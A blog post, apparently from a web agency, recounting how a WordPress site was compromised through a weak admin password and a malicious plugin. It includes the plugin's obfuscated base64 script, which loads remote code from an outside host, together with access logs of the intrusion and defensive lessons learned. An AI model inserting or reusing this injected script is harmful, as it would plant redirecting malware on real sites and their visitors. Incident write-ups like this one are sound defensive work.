My site was hacked

Photo by rawpixel.com on Unsplash

A busy Friday at the office was winding down when I received an email saying “We Were Hacked!” It continued:

“Google has detected sneaky redirects on your site… Therefore, Google has prevented the offending pages from showing in search results. If you remove the sneaky redirects, our system will automatically reflect these changes as we update our index.”

I panicked slightly because this meant that we had failed to perform one of our primary jobs — keeping a site secure. The site is WordPress-based, with a custom theme and many third-party plugins — a fairly common setup.

I immediately opened the site in a browser to look for any “sneaky redirects”, but saw none. Next was to open the page’s source code, where I nearly instantly spotted this odd code snippet:

<script src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3MyU3NCU2MSU3NCU2OSU2MyU3NyU2NSU2MiUyRSU3NCU2QiUyRiU3NCUzNiU2RCU2MyU2RSUzMSUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”></script>

Decoding the source code and searching through the WP core/plugin files revealed the source of this script: “wp-content/plugins/bb_from2” plugin. I pasted the most specific string I found in the plugin — MRT_PLG_VERS keyword (taken from bb_from2.php) — into Google to find some answers.

Luckily, it did nothing particularly harmful to the site except for the occasional user redirect to an “adult website.” So before taking any action, I backed up the site for future further investigation, downloaded the backup, and removed the malicious code from the site.

So far so good, but how did this code get into the site? How could I be certain there’s no backdoor and that this would never happen again? I needed to figure out the exact way the site was hacked into, or we would be hacked again in matter of days — if not hours.

The alien “wp-content/plugins/bb_from2” directory was created on 5:09am on July 30th. Digging through the apache logs around this time revealed a successful login attempt from an IP address belonging to a former Soviet Republic. Needless to say, we had our culprit.

The next few log records from the same IP showed how the hack was done. The hacker legitimately uploaded and activated the plugin. More precisely, though, taking into consideration that login, plugin install and activation all happened within 12 seconds, an automation tool was likely used, here are relevant log records:

*.115.191.239 - - [30/Jul/2017:05:08:58 +0000] "GET /wp-login.php HTTP/1.1" 200 4253
*.115.191.239 - - [30/Jul/2017:05:08:59 +0000] "POST /wp-login.php HTTP/1.0" 302 -
*.115.191.239 - - [30/Jul/2017:05:09:00 +0000] "POST /wp-admin/ HTTP/1.0" 200 131122
*.115.191.239 - - [30/Jul/2017:05:09:03 +0000] "GET /wp-admin/plugin-install.php?tab=upload HTTP/1.1" 200 87906
*.115.191.239 - - [30/Jul/2017:05:09:05 +0000] "POST /wp-admin/update.php?action=upload-plugin HTTP/1.0" 200 79395
*.115.191.239 - - [30/Jul/2017:05:09:11 +0000] "GET /wp-admin/plugins.php?action=activate&plugin=bb_from2/bb_from2.php&_wpnonce=113cc15669 HTTP/1.1" 302 -

Further investigation exposed a few other plugins installed and activated from the same IP address in the last 4 weeks, but not present at the time of this investigation. Probably some WordPress user spotted and removed them from the WordPress earlier — not the best tactics in keeping the site secure I must admit.

Once the malicious plugin was removed, I needed to make sure there were no backdoors left. I was pretty lucky that the whole site was stored in a Github repository, which allowed me to run a “git diff” command to see if there were untracked or modified files — but it turned out that the code was clean. This indicated that the site was not hacked or backdoored, but rather legitimately accessed using a valid username and password. And, either the hacker was generous enough — or lazy enough — to give me a hint how they were able to gain access. I found the following record in the access log:

*.115.191.239 - - [08/Jul/2017:02:40:43 +0000] "GET /wp-login.php?log=username&pwd=123456&redirect_to=http%3A%2F%2Fhackedsite.com%2Fwp-admin%2F&wp-submit=Log%20In&testcookie=1 HTTP/1.1" 200 1185

It looked like the hacker may have bookmarked this to quickly get to the login page, and then copied & pasted a username and password from the URL (leaving usernames and passwords as part of a bookmarked URL is an easy way to quickly retrieve them, while also avoiding keeping them in a central location). Or, he may have just wanted to leave a hint for me on how the site was hacked.

I was then able to narrow down that exact record, but because all of the passwords were already reset, I had to unroll the backup I performed right before investigation started to confirm this. I was also able to confirm the problem — that the user’s password was really 123456, and they had administrative privileges.

Now everything was clear. The hacker enumerated the users — a well known technique for WordPress hackers — and found the password using a brute force attack on either wp-login.php or xmlrpc.php, or, possibly, both.

My final job was now to upgrade the site, plugins and themes on my local box (using a clean version from the repository), commit the changes to GitHub repository, and then pull the updated code on the site. We were all set. At least until next time.

During my research, I found and addressed a few other problems:

1. Our client’s previous developers left a few SSH accounts active, and they had used these accounts 3 times in the previous 4 months. They tried to be slick by naming one of the accounts “network” — which did fool me momentarily.I was reluctant to disable their accounts right away because I wanted to track down exactly what they use the server for (they were smart enough to keep .bash_history clean). I plugged pam_tty_audit.so into the authentication chain to log their activities despite their taking care of .bash_history. Unfortunately, they also had “sudo” access, so they were able to clear audit logs. I needed to revoke sudo from them, as they seemed to use sudo all the time, but that would have spoiled the whole party. Given no other options, though, I eventually did just revoke sudo and disabled all of their accounts. I made sure though leave pam_tty_audit.so enabled, as it might serve as an invaluable source of information in the future.
2. Our log rotation setup kept far too little history. By default, CentOS 6.7 keeps four weeks of backups, which is definitely not enough. This was adjusted to keep one full year’s worth of apache logs.

Lessons learned

The moral of this story? In reality, you cannot avoid being hacked 100% of the time, as there are always vulnerabilities that will never hit the public vulnerability databases. The world isn’t perfect, developers aren’t perfect, and users aren’t perfect, so we all have to live with these imperfections. What we can do is put everything in place that we know will secure the site, and be certain to be prepared for a quick recovery if hacked. A quick wrap-up of lessons that hope can be learned from this:

1. Always use strong passwords, and at a minimum, check your password against a dictionary of common passwords. With WordPress, you can require users to set strong passwords using Force Strong Passwords plugin.
2. Keep all the sources of your web root directory with the exception of config files under version control. This way, you can quickly spot new and updated files.
3. Monitor your website root directory for any changes, including directories containing uploaded files. At DarwinApps, we use our home-brewed solution to notify us about changed files — https://github.com/darwinapps/directory-monitor
4. Perform regular database backups.
5. Keep as many logs as possible. I personally prefer to keep at least one year worth of logs, and this has turned out to be very helpful on a few occasions.

This list is not exhaustive by any means and is mostly centered around hack mitigation, not prevention. Still, once implemented, these best practices will give you great power and investigatory tools. If you are not able to identify the way attack was performed, you are doomed to either wait in fear for the attack to be repeated, or spend hours spinning up a clean server and installing the site from the scratch.

DarwinApps